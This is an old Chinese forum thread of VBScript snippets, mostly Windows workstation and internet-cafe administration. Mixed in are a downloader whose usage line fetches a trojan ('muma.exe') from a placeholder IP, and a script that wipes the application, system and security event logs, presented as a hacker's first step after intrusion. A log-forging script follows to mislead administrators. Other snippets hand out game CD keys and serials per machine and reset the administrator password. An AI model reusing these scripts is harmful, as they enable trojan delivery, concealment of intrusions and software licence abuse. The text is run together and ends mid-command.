VBS脚本

qq1003796 · 发表于 2007-9-8 03:27:26

<div></div>注意: '本程序中使用了scripting.FileSystemObject对象 '有的杀毒软件可能禁用该对象 Dim ComputerName '定义计算机名 Dim WorkGroup '定义工作组 Dim IPAddress '定义IP地址 Dim Gateway '定义网关 Dim NetMask '定义子网掩码 Dim NameServer '定义DNS Dim CSCDKey '定义反恐CDKey Dim WSH '定义Wscript.Shell对象 Dim FSO '定义scripting.FileSystemObject对象 Dim OPName '定义操作系统名 Dim IPFile,CDKeyFile,WinNTFile '定义反恐CDKey和IP地址的文件对象 Dim IPList,CDKeyList,WinNtCFG '定义网络配置文件 Dim Meteor Dim ComputerNameNum,IPAddressFormat,ComputerNameFormat '定义其他变量 Dim Buf,NamePart,IPPart,i,j OPName = "Microsoft Windows 9x" '设置默认为Microsoft Windows 9x IPList = "killer.cfg" '设置网络设置配置文件， ###可自定义### CDKeyList = "CSCDKEY.TXT" '反恐CDKEY列表文件文件，###可自定义### WinNTCFG = "WinNT.cfg" ComputerNameNum = 0 'ON Error Resume Next Set FSO = CreateObject("scripting.FileSystemObject") '创建文件系统对象 Set WSH = Wscript.CreateObject("Wscript.Shell") '创建Wscript.Shell对象 IF NOT FSO.FileExists(IPList) THEN MSGBox " 没有发现IP地址列表文件:"&IPList&vbCrLf&"未改动任何设置",48,"xp工作站设置程序" Wscript.Quit END IF IF NOT FSO.FileExists(CDKeyList) THEN MSGBox " 没有发现反恐CDKey列表文件:"&CDKeyList&vbCrLf&"未改动任何设置",48,"xp工作站设置程序" Wscript.Quit END IF ComputerName = Trim(InputBox("请输入工作站计算机名：","xp工作站设置程序")) IF LEN(ComputerName)=2 THEN ComputerName="0"+ComputerName IF LEN(ComputerName)=1 THEN ComputerName="00"+ComputerName IF ComputerName = "" THEN MSGBox "计算机名没有输入，未改动任何设置!",48,"xp工作站设置程序" Wscript.Quit END IF Set IPFile = FSO.OpenTextFile(IPList) '打开IP地址的列表文件 j=0 '下面开始解释IP地址的列表文件，从中获取设置 While Not IPFile.AtEndOfStream and IPAddress = "" Buf=Trim(IPFile.ReadLine) If Mid(Buf,1,1) = "#" Then Execute Mid(Buf,2) ElseIf Mid(Buf,1,2) = "//" Then ElseIf Buf = "" then Else j=j+1 If InStr(Buf,"=") Then NamePart= Mid(buf,1,InStr(Buf,"=")-1) IPPart=Mid(buf,InStr(Buf,"=")+1) else NamePart=buf IPPart=buf End If ComputerNum=ComputerNum+1 if UCase(ComputerName)=UCase(Replace(ComputerNameFormat,"?",NamePart)) then Buf=Replace(IPAddressFormat,"?",IPPart) IPAddress=mid(buf,1,Instr(buf,"(")-1)&eval(replace(mid(buf,Instr(buf,"(")+1,len(buf)-1),")","")) end if end if Wend if IPAddress = "" then Msgbox "计算机名不存在，可能是输入有误，未改动任何设置!",48,"xp工作站设置程序" Wscript.Quit end if IPFile.Close '关闭IP地址的列表文件 Set CDKeyFile = FSO.OpenTextFile(CDKeyList) '打开IP地址的列表文件 for i=0 to ComputerNum CDKeyFile.SkipLine next if CDKeyFile.AtEndOfStream then Msgbox "反恐CDKey数目不够，未改动任何设置!",48,"xp工作站设置程序" Wscript.Quit end if CSCDKey = Trim(CDKeyFile.ReadLine) CDKeyFile.Close '下面获取操作系统名,Win9x系统中无此键，将产生错误，从而保留默认值 OPName=WSH.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName") '下面改注册表 if OPName = "Microsoft Windows 9x" then 'Win9x系统下执行 WSH.RegWrite "HKEY_CURRENT_USER\Software\Valve\CounterStrike\Settings\KEY",CSCDKey,"REG_SZ" '注册反恐CDKEY WSH.RegWrite "HKEY_CURRENT_USER\Software\Valve\HALF-LIFE\Settings\KEY",CSCDKey,"REG_SZ" '注册半条命CDKEY '可在此处添加其他注册项 '下列设置取消，可消除行首“'”注释标志取用 WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName",ComputerName,"REG_SZ" WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP\ComputerName",ComputerName,"REG_SZ" WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP\Workgroup",WorkGroup,"REG_SZ" WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\0001\IPAddress",IPAddress,"REG_SZ" WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\0001\IPMask",NetMask,"REG_SZ" WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\0001\DefaultGateway",GateWay,"REG_SZ" else 'Win2k&XP系统下执行 '可在此处添加其他注册项 WSH.RegWrite "HKEY_CURRENT_USER\Software\Valve\CounterStrike\Settings\KEY",CSCDKey,"REG_SZ" '注册反恐CDKEY 'WSH.RegWrite "HKEY_CURRENT_USER\Software\Valve\HALF-LIFE\Settings\KEY",CSCDKey,"REG_SZ" '注册半条命CDKEY '删除一些恢复设置的注册项 'WSH.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\KeysNotToRestore\" 'WSH.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\BackupRestore\KeysNotToRestore\" 'Wsh.RegDelete "" 'Wsh.RegDelete "" set WinNTFile = FSO.OpenTextFile(WinNTCFG) buf = WinNTFile.readall buf = replace(buf,"[COMPUTERNAME]",ComputerName) buf = replace(buf,"[WORKGROUP]",WorkGroup) buf = replace(buf,"[IPADDRESS]",CRegM(IPAddress)) buf = replace(buf,"[GATEWAY]",CRegM(Gateway)) buf = replace(buf,"[NETMASK]",CRegM(NetMask)) buf = replace(buf,"[NAMESERVER]",NameServer) buf = replace(buf,"[CSCDKEY]",CSCDKey) Winntfile.close set WinNTFile = FSO.CreateTextFile("NetSettings.reg") WinNtFile.Write buf Winntfile.close WSH.Run "Regedit NetSettings.reg",0,true set WinNTFile = FSO.GetFile("NetSettings.reg") WinNTFile.Delete end if if ComputerName<200 then if ComputerName<16 then Meteor="19654494997d0"+hex(ComputerName) else Meteor="19654494997d"+hex(ComputerName) end if else if ComputerName-200<16 then Meteor="6F7O11YD459B0"+hex(ComputerName-200) else Meteor="6F7O11YD459B"+hex(ComputerName-200) end if end if WSH.RegWrite "HKEY_LOCAL_MACHINE\Software\InterServ\Meteor\Serial",Meteor,"REG_SZ" Buf = "操作系统:" + OPName + vbCrLf Buf = Buf + "计算机名:" + ComputerName + vbCrLf Buf = Buf + "工作组名:" + WorkGroup + vbCrLf Buf = Buf + "IP 地址:" + IPAddress + vbCrLf Buf = Buf + "使用网关:" + Gateway + vbCrLf Buf = Buf + "子网掩码:" + NetMask + vbCrLf Buf = Buf + "域名解析:" + NameServer + vbCrLf Buf = Buf + "CS CDKey:" + CSCDKey + vbCrLf Buf = Buf + "流星蝴蝶:" + Meteor+ vbCrLf Buf = Buf + "计算机号:" + Cstr(j) MSGBox Buf,64,"xp工作站设置程序运行报告" Set FSO=NoThing Set WSH=NoThing function CRegM(key) dim MultiSZ MultiSZ = "hex(7):" for i= 1 to len(key) MultiSZ = MultiSZ + hex(asc(mid(key,i))) + ",00," next MultiSZ = MultiSZ + "00,00,00,00" CRegM=MultiSZ end function ---------------------------------------------------------------------------------------------------------------------- 1.文件下载(无回显) echo iLocal = LCase(Wscript.Arguments(1)) >iget.vbe echo iRemote = LCase(Wscript.Arguments(0)) >>iget.vbe echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe echo xPost.Open "GET",iRemote,0 >>iget.vbe echo xPost.Send() >>iget.vbe echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe echo sGet.Mode = 3 >>iget.vbe echo sGet.Type = 1 >>iget.vbe echo sGet.Open() >>iget.vbe echo sGet.Write(xPost.responseBody) >>iget.vbe echo sGet.SaveToFile iLocal,2 >>iget.vbe 用法: cscript hget.vbs <A href="http://111.111.111.111/muma.exe" target=_blank>http://111.111.111.111/muma.exe</A> muma.exe 2.列举进程 @echo for each ps in getｏｂｊｅｃｔ _ >ps.vbs @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs 用法:cscript ps.vbs 3.终止进程 @echo for each ps in getｏｂｊｅｃｔ _ >pskill.vbs @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs 用法:cscript pskill.vbs pid 4.重启系统 @echo for each os in getｏｂｊｅｃｔ _ >reboot.vbs @echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs @echo os.win32shutdown(2):next >>reboot.vbs 用法:cscript reboot.vbs

qq1003796 · 发表于 2007-9-8 03:29:32

用vbs代码禁止QQ上网
dim bag,pipe,honker,good do good=\".\" set bag=getｏｂｊｅｃｔ(\"winmgmts:\\\\\"&good&\"\\root\\cimv2\") set pipe=bag.execquery(\"select * from win32_process where name=\'QQ.exe\'\") for each i in pipe i.terminate() next wscript.sleep 1 loop Set fso = Wscript.CreateObject(\"scripting.FileSystemObject\") \'创建文件系统对象，用以处理驱 动器、文件夹和文件 Set WshShell = Wscript.CreateObject(\"Wscript.Shell\") \'创建系统Shell对象，用以运行程序等等 if fso.fileexists(\"D:\\刀剑Online\\alreadyexist.txt\") then \'如果找到文件“D:\\刀剑 Online\\alreadyexist.txt”则 WshShell.Run(\"D:\\刀剑Online\\刀剑Online.exe\") \'运行“D:\\刀剑Online\\刀剑Online.exe” elseif fso.fileexists(\"<A>\\\\gengxin\\update\\dj.exe</A>\") then \'否则，如果找到 “\\\\gengxin\\update\\dj.exe”则 WshShell.Run(\"<A>\\\\gengxin\\update\\dj.exe</A>\") \'运行“\\\\gengxin\\update\\dj.exe” else WshShell.Run(\"D:\\刀剑Online\\刀剑Online.exe\") \'否则运行“D:\\刀剑Online\\刀剑Online.exe” end if \'根据条件执行语句结束 VBS 导入注册表，然后执行文件 dim Wsh Set Wsh = Wscript.CreateObject(\"Wscript.Shell\") Wsh.RegWrite \"HKCU\\SOFTWARE\\AUDITION\\AUTOSTART\",0,\"REG_DWORD\" Wsh.RegWrite \"HKCU\\SOFTWARE\\AUDITION\\PATH\",\"G:\\网络游戏\\劲舞团1.5\",\"REG_SZ\" Wsh.RegWrite \"HKCU\\SOFTWARE\\AUDITION\\VERSION\",1010,\"REG_DWORD\" Wsh.run \"patcher.exe\"

ING内网不通就执行关机的VBS strIP = \"192.168.0.254\" \'被PING的内网机器 Set objShell = CreateObject(\"Wscript.Shell\") If Not IsOnline(strIP) Then objShell.run \"shutdown -s -t 30 -c \"&chr(34)&\"机器即将关闭\"&chr(34) End If Function IsOnline(strComputer) IsOnline = false strCommand = \"%comspec% /c ping -n 2 -w 500 \" & strComputer & \"\" Set objExecObject = objShell.Exec(strCommand) Do While Not objExecObject.StdOut.AtEndOfStream strText = objExecObject.StdOut.ReadAll() If Instr(strText, \"Reply\") > 0 Then IsOnline = true End If Loop End Function 开机脚本VBS用于ARP邦定 Set WshShell = Wscript.CreateObject(\"Wscript.Shell\") WshShell.run \"arp -s 192.168.0.1 30-18-e5-33-01\",0 WshShell.run \"arp -s 192.168.0.5 30-18-e5-33-07\",0 运行程序 Dim a Set Wsh = Wscript.CreateObject(\"Wscript.Shell\") a.Run \"d:\\网络游戏\\大话西游II\\xy-2.exe\" 运行 oshell.run \"d:\\soft\\hf\\hfgame3\\GameClient.lnk\" 断开网络连接 strNICName = \" disable =net pci\\*\" Set objShell = CreateObject(\"Wscript.Shell\") strCommand = \"devcon.exe\"& strNICName objShell.Run strCommand, 0, False 启动网络连接 strNICName = \" enable =net pci\\*\" Set objShell = CreateObject(\"Wscript.Shell\") strCommand = \"devcon.exe\"& strNICName objShell.Run strCommand, 0, False 删除文件的VBS脚本 dim fso Set fso = CreateObject(\"scripting.FileSystemObject\") fso.CopyFile \"<A>\\\\server\\</A>共享\\XXX.lnk\",\"c:\\目标位置1\\\",true \'添加 fso.CopyFile \"<A>\\\\server\\</A>共享\\XXX.lnk\",\"c:\\目标位置2\\\",true \'添加 fso.DeleteFile \"c:\\目标位置1\\XXX.lnk\" ,true \'删除 fso.DeleteFile \"c:\\目标位置2\\XXX.lnk\" ,true \'删除 Set FSO=NoThing Wscript.quit</DIV> 无界面自动检测安装iscsi客户端，映射及断开映射vbs脚本下列代码实现无界面自动检测安装iscsi客户端,自动映射On Error Resume Next setupfile=\"iscsi2.0.exe\" \'iscsi客户端安装文件路径 serverip=\"192.168.0.100\" \'iscsi服务器ip Set oshell= CreateObject(\"Wscript.Shell\") Set fso = CreateObject(\"scripting.FileSystemObject\") if not fso.fileexists(oshell.ExpandEnvironmentStrings(\"%WinDir%\")+\"\\system32\\iscsicpl.cpl\") then oshell.run setupfile&\" /q\",,1 end if oshell.run \"iscsicli AddTargetPortal \"&serverip&\" 3260\",0,1 oshell.run \"iscsicli LoginTarget iqn.2005-02.com.ricecake.iscsi:00 T * * * * * * * * * * * * * * * 0\",0,1下例代码实现无界面删除iscsi映射盘filetmp=\"c:\\my.txt\" On Error Resume Next Set Shell = CreateObject(\"Wscript.Shell\") Set fso = Wscript.CreateObject(\"scripting.FileSystemObject\") shell.run \"cmd /c iscsicli sessionlist>\"&filetmp,0,1 Const ForReading = 1 Dim fso, theFile, retstring Set fso = CreateObject(\"scripting.FileSystemObject\") Set theFile = fso.OpenTextFile(filetmp, ForReading) aaa=thefile.readall thefile.close function myreadline() X=instr(1,aaa,vbcrlf,vbTextCompare) myline=mid(aaa,1,x-1) aaa=right(aaa,len(aaa)-x) if len(aaa) =<1 then myline =\"end\" myreadline=myline end function Do While bbb<>\"end\" bbb=myreadline if bbb <> \"end\" then if bbb <>\" \" then if instr(bbb,\"Session\")<>0 then temID=mid(bbb,instr(bbb,\":\")+1,len(bbb)-instr(bbb,\":\")) shell.run \"iscsicli logouttarget\"&temID,0 end if end if end if Loop fso.deletefile(filetmp)删除QQ用户文件强制删除是不行的了，要跳过的话这样Dim fso, folderspec, f, f1, fc folderspec = \"f:\\Program Files\\Tencent\\QQ\" \'设置你的QQ文件夹 Dim Re Set Re = New RegExp Re.Pattern = \"^\\d{4,13}$\" Set fso = CreateObject(\"scripting.FileSystemObject\") Set f = fso.GetFolder(folderspec) Set fc = f.SubFolders For Each f1 in fc If Re.Test(f1.name) Then On Error Resume Next f1.Delete(true) On Error GoTo 0 End If Next格5分钟运行一次批处理程序Dim Wsh Set Wsh = Wscript.CreateObject(\"Wscript.Shell\") Do Wsh.Run \"d:\\aaa.bat\" \'你要执行的批处理 Wscript.Sleep(300000) Loop要设开机自动运行，禁止程序将域用户或租添加到本地组 Set objGroup = GetObject(WinNT://./Administrators) Set objUser = GetObject(WinNT://testnet/Engineers) objGroup.Add(objUser.ADsPath) 修改本地管理员密码 Set objcnlar = GetObject(WinNT://./administrator, user) objcnla.SetPassword P@ssW0rd objcnla.SetInfo 弹出 YES or NO 的对话框，不同的选择执行不同的代码 intAnswer = Msgbox(Do you want to delete these files?, vbYesNo, Delete Files) If intAnswer = vbYes Then Msgbox You answered yes. Else Msgbox You answered no. End If 运行CMD命令行命令 set obshell=wscript.createｏｂｊｅｃｔ(wscript.shell) obshell.run (ipconfig),,true 如果要运行的命令中包含双引号，可使用&chr(34)&代替 忽略代码错误继续执行 On Error Resume Next 放置于代码的最开头，当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。注册表的修改，读取，删除，创建 Set wso = CreateObject(Wscript.Shell) \'声明 wso.RegWrite %Path%\'创建子键 wso.RegWrite %Path%,%value%\'修改默认键值 wso.RegWrite %Path%,%value%,%RegType% \'修改特定类型的键值 \'(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY) Set WSHShell= Wscript.CreateObject(Wscript.Shell) WSHShell.RegRead (%Path%) \'读取注册*键或键值(一般用于判断某一事件是否执行) Set wso = CreateObject(Wscript.Shell) wso.RegDelete %Path% \'删除子键或键值 \'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无) eg: Set wso = CreateObject(Wscript.Shell) wso.RegWrite HKLM\\SOFTWARE\\Microsft\\Windows NT\\#1 wso.RegWrite HKLM\\SOFTWARE\\Microsft\\Windows NT\\#1,0 wso.RegWrite HKLM\\SOFTWARE\\Microsft\\Windows NT\\#1\\#2,0,REG_BINARY wso.RegDelete HKLM\\SOFTWARE\\Microsft\\Windows NT\\#1 Wscript.quit</DIV></DIV>文件的复制，删除，创建，简单的写入 Set fso = Wscript.CreateObject(scripting.FileSystemObject) ‘声明 Set f = fso.CreateTextFile(%PATH%) \'创建文件,其中f可任意，包含缩略名 f.WriteLine(VBS) \'写文件内容,该命令功能太简单,目前看来只能用于TXT文件 f.Close set c=fso.getfile(%path%) ’拷贝某文件 c.copy(%PATH2%) \'拷贝文件到指定地点 fso.deletefile(%PATH%) \'删除文件 Wscript.quit eg. Set fso = Wscript.CreateObject(scripting.FileSystemObject) Set f=fso.CreateTextFile(C:\\Sample.txt) WriteLine(VBS) f.close set e=fso.getfile(C:\\Sample.txt) e.copy(D:\\Sample.txt) fso.deletefile(C:\\Sample.txt) Wscript.quit</DIV></DIV>向应用程序输出简单的连串指令 dim program1 \'声明变量program1 program1= %Path% \'应用程序路径 set wshshell=createｏｂｊｅｃｔ(wscript.shell) \'声明饮用函数 set oexec=wshshell.exec(program1) \'运行程序 wscript.sleep 2000 \'(该行命令未知作用.估计是设定延迟，请高手指点) wshshell.appactivate %WindowsName% \'激活运用程序窗口 wshshell.sendkeys +{%KeyBoardName%} \'第一次输出键盘按键指令前要加+ wshshell.sendkeys 555555 \'在程序输入栏中输入运用该系列命令须首先确定程序可以实施连串的键盘操作，这在QQ登录中最适用，如下例。 eg. dim program1 program1=D:\\Program Files\\Tencent\\coralQQ.exe set wshshell=CreateObject(wscript.shell) set oexec=wshshell.exec(program1) wscript.sleep 2000 wshshell.appactivate QQ登录 wshshell.sendkeys +{TAB} wshshell.sendkeys 250481892 wscript.sleep 2000 wshshell.sendkeys {TAB} wshshell.sendkeys **************** wscript.sleep 2000 wshshell.sendkeys {ENTER} Wscript.quit</DIV></DIV>文件夹的简单操作 Set fso = Wscript.CreateObject(scripting.FileSystemObject) ‘声明 Set f = fso.CreateFolder(%PATH%) 创建文件夹 Set e = getFolder(%PATH%) 类似于“绑定目标” e.copy(%PATH2%) 复制文件夹 fso.deletefolder(%PATH%) 删除文件夹 eg. Set fso = Wscript.CreateObject(scripting.FileSystemObject) Set f = fso.CreateObject(C:\\sample) f.copy(D:\\sample) fso.deletefolder(C:\\sample)</DIV></DIV> \'(由上例可以看出，文件夹的操作很多是和文件的操作相通的，因此VBS文件具有很多命令的统一性) 将某一指定文件夹的所有只读文件转为可读文件 Const ReadOnly = 1 ‘设只读属性对应值为1 Set FSO = CreateObject(scripting.FileSystemObject) \'声明 Set Folder = FSO.GetFolder(%PATH%) ’绑定文件夹 Set colFiles = Folder.Files ‘文件夹所有文件 For Each objFile in colFiles ’下列语句应用于文件夹所有文件 If File.Attributes AND ReadOnly Then \'这是关键之处，这里应用了If判断语句，来检测文件属性是否为只读 File.Attributes = File.Attributes XOR ReadOnly ‘对判断结果为Ture（默认为True）’执行XOR逻辑运算，将其改为可读 End If ‘结束判断 Next 将Word文件另存为文本文件 Const wdFormatText = 2 ’设置常数值 (当该值为8时另存为HTML文档，为11时另存为XML文档) Set objWord = CreateObject(Word.Application) \'申明调用函数 Set objDoc = objWord.Documents.Open(%Path%) ‘打开某DOC文件 objDoc.SaveAs %PATH2%, wdFormatText 另存为…… objWord.Quit eg: Const wdFormatText = 2 Set objWord = CreateObject(Word.Application) Set objDoc = objWord.Documents.Open(d:\\doc1.doc) objDoc.SaveAs g:\\doc1.txt, wdFormatText VBS实现自动填写IP地址，子网掩码，网关，DNS的脚本！ Dim Num Num=Inputbox (\"程序员：废铁\"+chr(10)&chr(13)+\"QQ:355430413\"+chr(10)&chr(13)+\"必须是小于200以下的数字\"+chr(10)&chr(13)+\"请输入机器号\",\"废铁\") dim Name if Num<10 then Name=\"XD00\" else if Num<100 then Name=\"XD0\" else Name=\"XD\" end if end if Set Sh = CreateObject(\"Wscript.Shell\") Sh.RegWrite \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\ComputerName\\ComputerName\\ComputerName\",Name&Num,\"REG_SZ\" Sh.RegWrite \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\NV Hostname\",Name&Num,\"REG_SZ\" Sh.RegWrite \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Hostname\",Name&Num,\"REG_SZ\" Set sh = Nothing Set oShell = Nothing strComputer = \".\" Set objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\") Set colNetAdapters = objWMIService.ExecQuery _ (\"Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE\") strIPAddress = Array(\"192.168.1.\"&Num) strSubnetMask = Array(\"255.255.255.0\") strGateway = Array(\"192.168.1.1\") For Each objNetAdapter in colNetAdapters errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask) errGateways = objNetAdapter.SetGateways(strGateway) Dim dns dns=Array(\"211.93.80.129\",\"211.94.33.193\") err=objNetAdapter.SetDNSServerSearchOrder(dns) \'msgbox(err) Next Set objWMIService = GetObject(\"winmgmts:\" _ & \"{impersonationLevel=impersonate}!\\\\\" & strComputer & \"\\root\\cimv2\") Set colComputers = objWMIService.ExecQuery _ (\"Select * from Win32_ComputerSystem\") For Each objComputer in colComputers \'ObjComputer.Rename(\"game\" &Num) Next Set objNetworkSettings = objWMIService.Get(\"Win32_NetworkAdapterConfiguration\") objNetworkSettings.SetIPXVirtualNetworkNumber(Num)</CQ>

qq1003796 · 发表于 2007-9-8 03:30:01

给注册表编辑器解锁 　　用记事本编辑如下内容： DIM WSH SET WSH=Wscript.CreateObject(\"Wscript.SHELL\") \'击活Wscript.Shell对象 WSH.POPUP(\"解锁注册表编辑器!\") \'显示弹出信息“解锁注册表编辑器!” WSH.Regwrite\"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools\",0,\"REG_DWORD\" \'给注册表编辑器解锁 WSH.POPUP(\"注册表解锁成功!\") \'显示弹出信息“注册表解锁成功!” 保存为以.vbs为扩展名的文件，使用时双击即可。 关闭Win NT/2000的默认共享 　　用记事本编辑如下内容： Dim WSHShell\'定义变量 set WSHShell=CreateObject(\"Wscript.shell\") \'创建一个能与操作系统沟通的对象WSHShell Dim fso,dc Set fso=CreateObject(\"scripting.FileSystemObject\")\'创建文件系统对象 set dc=fso.Drives \'获取所有驱动器盘符 For Each d in dc Dim str WSHShell.run(\"net share\"&d.driveletter &\"$ /delete\")\'关闭所有驱动器的隐藏共享 next WSHShell.run(\"net share admin$ /delete\") WSHShell.run(\"net share ipc$ /delete\")\'关闭admin$和ipc$管道共享　　现在来测试一下，先打开cmd.exe，输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后，会看见窗口一闪而过。然后再在cmd里输入net share命令，这时候没有发现共享列表了 显示本机IP地址 　　有许多时候，我们需要知道本机的IP地址，使用各种软件虽然可以办到，但用VBS脚本也非常的方便。用记事本编辑如下内容： Dim WS Set WS=CreateObject(\"MSWinsock.Winsock\") IPAddress=WS.LocalIP MsgBox \"Local IP=\" & IPAddress 　将上面的内容保存为ShowIP.vbs，双击执行即可得到本机IP地址 利用脚本编程删除日志　　入侵系统成功后黑客做的第一件事便是清除日志，如果以图形界面远程控制对方机器或是从终端登陆进入，删除日志不是一件困难的事，由于日志虽然也是作为一种服务运行，但不同于http,ftp这样的服务，可以在命令行下先停止，再删除，在命令行下用net stop eventlog是不能停止的，所以有人认为在命令行下删除日志是很困难的，实际上不是这样，比方说利用脚本编程中的VMI就可以删除日志，而且非常的简单方便。源代码如下： strComputer= \".\" Set objWMIService = GetObject(\"winmgmts:\" _ & \"{impersonationLevel=impersonate,(Backup)}!\\\\\" & _ strComputer & \"\\root\\cimv2\") dim mylogs(3) mylogs(1)=\"application\" mylogs(2)=\"system\" mylogs(3)=\"security\" for Each logs in mylogs Set colLogFiles=objWMIService.ExecQuery _ (\"Select * from Win32_NTEventLogFile where LogFileName=\'\"&logs&\"\'\") For Each objLogfile in colLogFiles objLogFile.ClearEventLog() Next next 　　将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中，首先获得ｏｂｊｅｃｔ对象，然后利用其clearEventLog()方法删除日志。建立一个数组，application,security,system，如果还有其他日志也可以加入数组。然后用一个for循环，删除数组中的每一个元素，即各个日志。 利用脚本伪造日志 　　删除日志后，任何一个有头脑的管理员面对空空的日志，马上就会反应过来被入侵了，所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单，请看下面的代码： set ws=wscript.createｏｂｊｅｃｔ(\"Wscript.shell\") ws.logevent 0 ,\"write log success\" \'创建一个成功执行日志　　将上面的代码保存为createlog.vbs即可。这段代码很容易理解，首先获得wscript的一个shell对象，然后利用shell对象的logevent方法。logevent的用法：logevent eventtype,\"description\" [,remote system]，其中eventtype为日志类型，可以使用的参数如下：0代表成功执行，1执行出错，2警告，4信息，8成功审计，16故障审计。所以上面代码中，把0改为1,2,4,8,16均可，引号中的内容为日志描述。利用这种方法写的日志有一个缺点，即只能写到应用程序日志，而且日志来源只能为WSH，即Windows scripting Host，所以不能起太多的隐蔽作用，在此仅供大家参考。 禁用开始菜单选项 　　用记事本编辑如下内容： Dim ChangeStartMenu Set ChangeStartMenu=Wscript.CreateObject(\"Wscript.Shell\") RegPath=\"HKCR\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\\" Type_Name=\"REG_DWORD\" Key_Data=1 　 StartMenu_Run=\"NoRun\" StartMenu_Find=\"NoFind\" StartMenu_Close=\"NoClose\" 　 Sub Change(Argument) ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name MsgBox(\"Success!\") End Sub 　 Call Change(StartMenu_Run) \'禁用“开始”菜单中的“运行”功能 Call Change(StartMenu_Find) \'禁用“开始”菜单中的“查找”功能 Call Change(StartMenu_Close) \'禁用“开始”菜单中的“关闭系统”功能　　将以上代码保存为ChangeStartMenu.vbs文件，使用时双击即可。 执行外部程序 　　用记事本编辑如下内容： DIM objShell set objShell=wscript.createObject(\"wscript.shell\") iReturn=objShell.Run(\"cmd.exe /C set var=world\", 1, TRUE) 　　保存为.vbs文件即可。在这段代码中，我们首先设置了一个环境变量，其名为var，而值为world，用户可以使用%Comspec%来代替cmd.exe，并且可以把命令：set var=world改成其它的命令，这样就可以使它可以运行任意的命令。 重新启动指定的IIS服务 　　用记事本编辑如下内容： Const ADS_SERVICE_STOPPED = 1 Set objComputer = GetObject(\"WinNT://MYCOMPUTER,computer\") Set objService = objComputer.GetObject(\"Service\",\"MYSERVICE\") If (objService.Status = ADS_SERVICE_STOPPED) Then objService.Start End If 　　将它以startsvc.vbs为名保存在C盘根目录。并通过如下命令执行：cscript c:\\startsvc.vbs。运行后，经你指定的IIS服务项将被重新开启。 改造“开始”菜单 \'ChangeStartMenu.vbs Dim ChangeStartMenu Set ChangeStartMenu=Wscript.CreateObject(\"Wscript.Shell\") RegPath=\"HKCR\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\\" Type_Name=\"REG_DWORD\" Key_Data=1 　 StartMenu_Run=\"NoRun\" StartMenu_Find=\"NoFind\" StartMenu_Close=\"NoClose\" 　 Sub Change(Argument) ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name MsgBox(\"Success!\") End Sub 　 Call Change(StartMenu_Run) \'禁用“开始”菜单中的“运行”功能 Call Change(StartMenu_Find) \'禁用“开始”菜单中的“查找”功能 Call Change(StartMenu_Close) \'禁用“开始”菜单中的“关闭系统”功能 向Windows中添加自启动程序 该程序能在开机时自动运行。 \'AddAutoRunProgram.vbs \'假设该程序在c:\\myfile文件夹中，文件名为autorun.exe Dim AutoRunProgram Set AutoRunProgram=Wscript.CreateObject(\"Wscript.Shell\") RegPath=\"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\" Type_Name=\"REG_SZ\" Key_Name=\"AutoRun\" Key_Data=\"C:\\Myfile\\autorun.exe\" \'该自启动程序的全路径文件名 AutoRunProgram.Write RegPath&Key_Name,Key_Data,Type_Name \'在启动组中添加自启动程序autorun.exe MsgBox(\"Success!\") 隐藏快捷方式图标上的小箭头： \'Hidden.vbs Dim HiddenArrowIcon Set HiddenArrowIcon=Wscript.CreateObject(\"Wscript.Shell\") Dim RegPath1,RegPath2 RegPath1=\"HKCR\\lnkfile\\IsShortCut\" RegPath2=\"HKCR\\piffile\\IsShortCut\" HiddenArrowIcon.RegDelete(RegPath1) HiddenArrowIcon.RegDelete(RegPath2) 读本机“计算机名” \'ReadComputerName.vbs Dim ReadComputerName Set ReadComputerName=Wscript.CreateObject(\"Wscript.Shell\") Dim ComputerName,RegPath RegPath=\"HKLM\\System\\CurrentControlSet\\Control\\ComputerName\\ComputerName\\ComputerName\" ComputerName=ReadComputerName.RegRead(RegPath) MsgBox(\"计算机名为\"&ComputerName)vbs脚本绑定MAC.不出现黑框 新建一个文本文件.TXT， 内容格式为 set ws=wscript.createｏｂｊｅｃｔ(\"wscript.shell\") ws.run \"arp -s 